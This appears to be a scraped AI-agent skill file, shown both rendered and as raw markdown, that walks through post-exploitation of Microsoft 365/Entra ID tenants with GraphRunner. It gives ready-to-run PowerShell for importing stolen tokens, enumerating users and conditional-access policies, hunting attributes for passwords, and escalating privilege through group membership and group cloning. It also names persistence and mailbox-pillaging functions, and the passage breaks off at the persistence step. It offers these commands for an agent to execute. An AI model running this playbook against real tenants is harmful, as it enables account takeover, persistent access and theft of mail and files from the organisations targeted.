Post-Exploiting Microsoft Graph with GraphRunner
Authorized use only: GraphRunner performs offensive actions against live Microsoft 365 / Entra ID tenants — deploying OAuth apps, cloning groups, adding members, and reading mailboxes, SharePoint, and Teams. Run it only against tenants you own or are explicitly authorized in writing to test. Unauthorized use is illegal.
Overview
GraphRunner (Beau Bullock / Black Hills Information Security) is a PowerShell post-exploitation toolset built entirely on the Microsoft Graph API. Given a foothold token, it performs recon, establishes persistence, escalates privilege, and pillages M365 data — all through Graph, which blends in with normal traffic and bypasses many endpoint controls. It is the natural follow-on to credential/token theft (e.g., device-code phishing or ROADtools): once you hold Graph access, GraphRunner operationalizes it.
The toolset is a single PowerShell module (GraphRunner.ps1) exposing dozens of functions grouped by purpose:
- Authentication —
Get-GraphTokens (device-code login), Invoke-RefreshGraphTokens, Invoke-AutoTokenRefresh, Invoke-ImportTokens, Invoke-RefreshToSharePointToken.
- Recon & Enumeration —
Invoke-GraphRecon (tenant/user permission summary), Invoke-DumpCAPS (conditional-access policies), Invoke-DumpApps (app registrations / consent grants), Get-AzureADUsers, Get-SecurityGroups, Get-UpdatableGroups, Get-DynamicGroups, Invoke-SearchUserAttributes, Invoke-GraphOpenInboxFinder, Find-PermissiveCalendars.
- Persistence —
Invoke-InjectOAuthApp (deploy a malicious OAuth app for consent-grant persistence), Invoke-CreateInboxForwardingRule.
- Privilege Escalation —
Get-UpdatableGroups, Invoke-AddGroupMember, Invoke-SecurityGroupCloner, Invoke-InviteGuest.
- Pillage / Data Search —
Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, Invoke-SearchTeams, Get-TeamsChat, Invoke-DriveFileDownload.
- Master runner —
Invoke-GraphRunner runs an automated recon-and-pillage pass; List-GraphRunnerModules prints all modules.
This maps to MITRE ATT&CK T1098 — Account Manipulation: GraphRunner manipulates accounts, groups, and OAuth grants (adding members, injecting apps, cloning groups, inviting guests) to maintain and escalate access in the cloud identity plane.
When to Use
- After obtaining a valid Microsoft Graph access/refresh token during an authorized M365/Entra engagement.
- When mapping tenant permissions, conditional-access policies, and OAuth app exposure.
- When establishing cloud persistence via OAuth consent grants or inbox forwarding (in scope).
- When demonstrating privilege escalation through updatable/dynamic groups.
- When searching mailboxes, SharePoint/OneDrive, and Teams for sensitive data to evidence impact.
Prerequisites
- Written authorization and scope for the target tenant.
- A Graph token foothold (from
Get-GraphTokens device-code login, or imported tokens).
- PowerShell 5.1+ or PowerShell 7 (cross-platform).
# Clone and import the module
git clone https://github.com/dafthack/GraphRunner.git
cd GraphRunner
Import-Module .\GraphRunner.ps1
# List every available module
List-GraphRunnerModules
Objectives
- Authenticate to Microsoft Graph and maintain tokens via refresh.
- Enumerate tenant users, groups, CA policies, and OAuth apps.
- Identify updatable groups and demonstrate privilege escalation.
- Establish persistence via an injected OAuth app and/or inbox forwarding rule.
- Search mailboxes, SharePoint/OneDrive, and Teams for sensitive content.
MITRE ATT&CK Mapping
| ID |
Tactic |
Official Technique Name |
Role in this skill |
| T1098 |
Persistence |
Account Manipulation |
Add group members, clone groups, invite guests to retain/escalate access |
| T1098.003 |
Privilege Escalation |
Account Manipulation: Additional Cloud Roles |
Adding members to privileged/updatable groups |
| T1528 |
Credential Access |
Steal Application Access Token |
Get-GraphTokens device-code token acquisition |
| T1087.004 |
Discovery |
Account Discovery: Cloud Account |
Get-AzureADUsers, Invoke-SearchUserAttributes |
| T1114.002 |
Collection |
Email Collection: Remote Email Collection |
Invoke-SearchMailbox over Graph |
| T1606.002 |
Credential Access |
Forge Web Credentials: SAML/OAuth |
Invoke-InjectOAuthApp consent-grant persistence |
Workflow
Step 1: Authenticate and refresh tokens
# Device-code login; complete the code at microsoft.com/devicelogin
Get-GraphTokens
# Refresh the access token when it expires
Invoke-RefreshGraphTokens
# Keep tokens fresh automatically during a long operation
Invoke-AutoTokenRefresh
# Import tokens captured elsewhere (e.g., from ROADtools)
Invoke-ImportTokens -AccessToken $at -RefreshToken $rt
Step 2: Recon and enumeration
# High-level tenant + current-user permission recon
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
# Dump conditional-access policies
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
# Enumerate app registrations, service principals, and consent grants
Invoke-DumpApps -Tokens $tokens
# Enumerate all users and security groups
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
Get-SecurityGroups -Tokens $tokens
Step 3: Search user attributes for secrets
# Hunt across all user attributes for terms like "password"
Invoke-SearchUserAttributes -Tokens $tokens -SearchTerm "password"
Step 4: Privilege escalation via updatable groups
# Find groups the current principal can modify directly
Get-UpdatableGroups -Tokens $tokens
# Add yourself (or a controlled account) to a target group
Invoke-AddGroupMember -Tokens $tokens -GroupId <group-guid> -UserId <user-guid>
# Clone a privileged security group's membership into a new group you control
Invoke-SecurityGroupCloner -Tokens $tokens
Step 5: Persistence
> 📎 Detailed content (full examples / references / data tables) has been split into `reference.md` in the same directory; use Read to load the relevant section on demand.
1---2name: post-exploiting-microsoft-graph-with-graphrunner3description: "Runs GraphRunner PowerShell post-exploitation toolset. Signals: cloud privilege escalation, IAM privilege escalation, container privilege escalation."4zh-signals: "Runs GraphRunner, a PowerShell post-exploitation toolset built on 信号:云提权,iam提权,容器提权。"5when-to-use: Runs GraphRunner, a PowerShell post-exploitation toolset built on6 the Microsoft Graph API, to perform tenant recon, establish persistence (OAuth7 app injection, inbox rules), escalate privilege via group manipulation, and pillage8 mailboxes, SharePoint, and Teams data from a foothold Graph token. Use during9 authorized red-team engagements against Microsoft 365/Entra ID tenants once you10 hold a Graph token.11domain: cybersecurity12subdomain: identity-access-management13tags:14- red-team15- microsoft-graph16- graphrunner17- entra-id18- oauth-abuse19- account-manipulation20- post-exploitation21- m36522version: '1.0'23author: mahipal24license: Apache-2.025nist_csf:26- PR.AA-0527mitre_attack:28- T109829metadata:30 source: https://skillmd.com/skills/dangeroussong/post-exploiting-microsoft-graph-with-graphrunner31---3233# Post-Exploiting Microsoft Graph with GraphRunner3435> **Authorized use only:** GraphRunner performs offensive actions against live Microsoft 365 / Entra ID tenants — deploying OAuth apps, cloning groups, adding members, and reading mailboxes, SharePoint, and Teams. Run it only against tenants you own or are explicitly authorized in writing to test. Unauthorized use is illegal.3637## Overview3839GraphRunner (Beau Bullock / Black Hills Information Security) is a PowerShell post-exploitation toolset built entirely on the **Microsoft Graph API**. Given a foothold token, it performs recon, establishes persistence, escalates privilege, and pillages M365 data — all through Graph, which blends in with normal traffic and bypasses many endpoint controls. It is the natural follow-on to credential/token theft (e.g., device-code phishing or ROADtools): once you hold Graph access, GraphRunner operationalizes it.4041The toolset is a single PowerShell module (`GraphRunner.ps1`) exposing dozens of functions grouped by purpose:4243- **Authentication** — `Get-GraphTokens` (device-code login), `Invoke-RefreshGraphTokens`, `Invoke-AutoTokenRefresh`, `Invoke-ImportTokens`, `Invoke-RefreshToSharePointToken`.44- **Recon & Enumeration** — `Invoke-GraphRecon` (tenant/user permission summary), `Invoke-DumpCAPS` (conditional-access policies), `Invoke-DumpApps` (app registrations / consent grants), `Get-AzureADUsers`, `Get-SecurityGroups`, `Get-UpdatableGroups`, `Get-DynamicGroups`, `Invoke-SearchUserAttributes`, `Invoke-GraphOpenInboxFinder`, `Find-PermissiveCalendars`.45- **Persistence** — `Invoke-InjectOAuthApp` (deploy a malicious OAuth app for consent-grant persistence), `Invoke-CreateInboxForwardingRule`.46- **Privilege Escalation** — `Get-UpdatableGroups`, `Invoke-AddGroupMember`, `Invoke-SecurityGroupCloner`, `Invoke-InviteGuest`.47- **Pillage / Data Search** — `Invoke-SearchMailbox`, `Invoke-SearchSharePointAndOneDrive`, `Invoke-SearchTeams`, `Get-TeamsChat`, `Invoke-DriveFileDownload`.48- **Master runner** — `Invoke-GraphRunner` runs an automated recon-and-pillage pass; `List-GraphRunnerModules` prints all modules.4950This maps to MITRE ATT&CK **T1098 — Account Manipulation**: GraphRunner manipulates accounts, groups, and OAuth grants (adding members, injecting apps, cloning groups, inviting guests) to maintain and escalate access in the cloud identity plane.5152## When to Use5354- After obtaining a valid Microsoft Graph access/refresh token during an authorized M365/Entra engagement.55- When mapping tenant permissions, conditional-access policies, and OAuth app exposure.56- When establishing cloud persistence via OAuth consent grants or inbox forwarding (in scope).57- When demonstrating privilege escalation through updatable/dynamic groups.58- When searching mailboxes, SharePoint/OneDrive, and Teams for sensitive data to evidence impact.5960## Prerequisites6162- Written authorization and scope for the target tenant.63- A Graph token foothold (from `Get-GraphTokens` device-code login, or imported tokens).64- PowerShell 5.1+ or PowerShell 7 (cross-platform).6566```powershell67# Clone and import the module68git clone https://github.com/dafthack/GraphRunner.git69cd GraphRunner70Import-Module .\GraphRunner.ps17172# List every available module73List-GraphRunnerModules74```7576## Objectives7778- Authenticate to Microsoft Graph and maintain tokens via refresh.79- Enumerate tenant users, groups, CA policies, and OAuth apps.80- Identify updatable groups and demonstrate privilege escalation.81- Establish persistence via an injected OAuth app and/or inbox forwarding rule.82- Search mailboxes, SharePoint/OneDrive, and Teams for sensitive content.8384## MITRE ATT&CK Mapping8586| ID | Tactic | Official Technique Name | Role in this skill |87|----|--------|-------------------------|--------------------|88| T1098 | Persistence | Account Manipulation | Add group members, clone groups, invite guests to retain/escalate access |89| T1098.003 | Privilege Escalation | Account Manipulation: Additional Cloud Roles | Adding members to privileged/updatable groups |90| T1528 | Credential Access | Steal Application Access Token | `Get-GraphTokens` device-code token acquisition |91| T1087.004 | Discovery | Account Discovery: Cloud Account | `Get-AzureADUsers`, `Invoke-SearchUserAttributes` |92| T1114.002 | Collection | Email Collection: Remote Email Collection | `Invoke-SearchMailbox` over Graph |93| T1606.002 | Credential Access | Forge Web Credentials: SAML/OAuth | `Invoke-InjectOAuthApp` consent-grant persistence |9495## Workflow9697### Step 1: Authenticate and refresh tokens9899```powershell100# Device-code login; complete the code at microsoft.com/devicelogin101Get-GraphTokens102103# Refresh the access token when it expires104Invoke-RefreshGraphTokens105106# Keep tokens fresh automatically during a long operation107Invoke-AutoTokenRefresh108109# Import tokens captured elsewhere (e.g., from ROADtools)110Invoke-ImportTokens -AccessToken $at -RefreshToken $rt111```112113### Step 2: Recon and enumeration114115```powershell116# High-level tenant + current-user permission recon117Invoke-GraphRecon -Tokens $tokens -PermissionEnum118119# Dump conditional-access policies120Invoke-DumpCAPS -Tokens $tokens -ResolveGuids121122# Enumerate app registrations, service principals, and consent grants123Invoke-DumpApps -Tokens $tokens124125# Enumerate all users and security groups126Get-AzureADUsers -Tokens $tokens -OutFile users.txt127Get-SecurityGroups -Tokens $tokens128```129130### Step 3: Search user attributes for secrets131132```powershell133# Hunt across all user attributes for terms like "password"134Invoke-SearchUserAttributes -Tokens $tokens -SearchTerm "password"135```136137### Step 4: Privilege escalation via updatable groups138139```powershell140# Find groups the current principal can modify directly141Get-UpdatableGroups -Tokens $tokens142143# Add yourself (or a controlled account) to a target group144Invoke-AddGroupMember -Tokens $tokens -GroupId <group-guid> -UserId <user-guid>145146# Clone a privileged security group's membership into a new group you control147Invoke-SecurityGroupCloner -Tokens $tokens148```149150### Step 5: Persistence151152```powershell153154> 📎 Detailed content (full examples / references / data tables) has been split into `reference.md` in the same directory; use Read to load the relevant section on demand.